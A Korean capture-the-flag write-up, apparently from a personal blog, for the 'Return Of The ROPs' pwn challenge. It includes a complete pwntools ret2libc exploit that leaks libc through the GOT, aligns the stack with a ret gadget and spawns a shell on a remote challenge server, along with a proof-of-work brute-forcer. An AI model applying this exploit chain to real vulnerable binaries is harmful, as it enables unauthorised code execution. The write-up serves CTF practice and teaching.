ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [0x41414141 CTF] Return Of The ROPs
    CTF/WRITEUP 2021. 2. 2. 15:45

    Disassembly 디스어셈블리


    문제에서 제공하는 파일은 main.sh, PoW, return-of-the-rops로 세 개이다.

    #!/bin/bash
    
    `pwd`/PoW
    if [ $? == 0 ]; then
    	echo "\n"
    	`pwd`/ret-of-the-rops
    fi
    

    main.sh는 PoW가 통과하면 바이너리를 실행한다.

     

    PoW

    def PoW(res):
        for x in tqdm(product(ascii_lowercase, repeat=4)):
            d = ""
            for i in x:
                d += i
            y = md5(d.encode()).digest().hex()
            if y[-6:] == res:
            	log.info("key : " + d)
            	p.sendline(d)
            	p.recvline()
            	break
    
    dest = p.recvline().strip()[-6:]
    PoW(dest.decode())

    PoW를 이번 대회에서 처음 접했기 때문에, 팀원한테 부탁해서 코드를 받았다.

    undefined8 main(void)
    {
        char *format;
        
        ignore_me_init_buffering();
        puts("What would you like to say?");
        gets(&format);
        printf(&format);
        return 0;
    }

    main은 get와 printf가 연달아 호출되어 스택 버퍼 오버플로우와 포맷 스트링 버그가 동시에 발생한다.

    Return Oriented Programming


    라이브러리 주소를 구하기 위해 gets의 got를 읽어온 뒤 main을 다시 호출하고, 'pop rdi' 가젯을 이용해 system("/bin/sh")를 호출하면 된다.

     

    이때 두 번째 payload를 아래와 같이 구성했으나 공격에 실패했다.

    payload = b"A"*0x28
    payload += p64(prdi)
    payload += p64(binsh)
    payload += p64(system)
    p.sendlineafter("?\n", payload)

    이는 stack pointer의 주소로 인해 발생하는 문제임을 알 수 있었다. 라이브러리의 system 함수는 스택 포인터의 주소가 16의 배수로 정렬된 상태가 아닐 경우 segmentation fault가 발생한다고 한다. [1]

     

    따라서 아래와 같이 payload를 padding해주면 문제를 해결할 수 있다.

    payload = b"A"*0x28
    payload += p64(ret)
    payload += p64(prdi)
    payload += p64(binsh)
    payload += p64(system)
    p.sendlineafter("?\n", payload)

    Code

    더보기
    from pwn import *
    from hashlib import md5
    from itertools import product
    from string import ascii_lowercase
    from tqdm import tqdm
    
    binary = "./ret-of-the-rops"
    lib = "/lib/x86_64-linux-gnu/libc-2.31.so"
    
    server = "185.172.165.118"
    port = 2222
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    def PoW(res):
        for x in tqdm(product(ascii_lowercase, repeat=4)):
            d = ""
            for i in x:
                d += i
            y = md5(d.encode()).digest().hex()
            if y[-6:] == res:
            	log.info("key : " + d)
            	p.sendline(d)
            	p.recvline()
            	break
    
    dest = p.recvline().strip()[-6:]
    PoW(dest.decode())
    
    main = e.symbols["main"]
    puts_plt = e.plt["puts"]
    gets_got = e.got["gets"]
    
    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    ret = (r.find_gadget(['ret']))[0]
    
    payload = b"A"*0x28
    payload += p64(prdi)
    payload += p64(gets_got)
    payload += p64(puts_plt)
    payload += p64(main)
    p.sendlineafter("?\n", payload)
    
    p.recv(len(payload))
    
    gets = u64(p.recv(6).ljust(8,b"\x00"))
    libc = gets - l.symbols["gets"]
    
    log.info("libc : " + hex(libc))
    
    system = libc + l.symbols["system"]
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    
    payload = b"A"*0x28
    payload += p64(ret)
    payload += p64(prdi)
    payload += p64(binsh)
    payload += p64(system)
    p.sendlineafter("?\n", payload)
    
    p.interactive()

    Flag

    flag{w3_d0n't_n33d_n0_rdx_g4dg3t,ret2csu_15_d3_w4y_7821243}

     

    Reference

    [1] stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul

    'CTF > WRITEUP' 카테고리의 다른 글

    [0x41414141 CTF] Faking till you're Making  (0) 2021.02.02
    [0x41414141 CTF] Moving signals  (0) 2021.02.02
    [0x41414141 CTF] echo  (0) 2021.02.02
    [0x41414141 CTF] The Pwn Inn  (0) 2021.01.30
    [0x41414141 CTF] external  (0) 2021.01.27

    댓글

Designed by Tistory.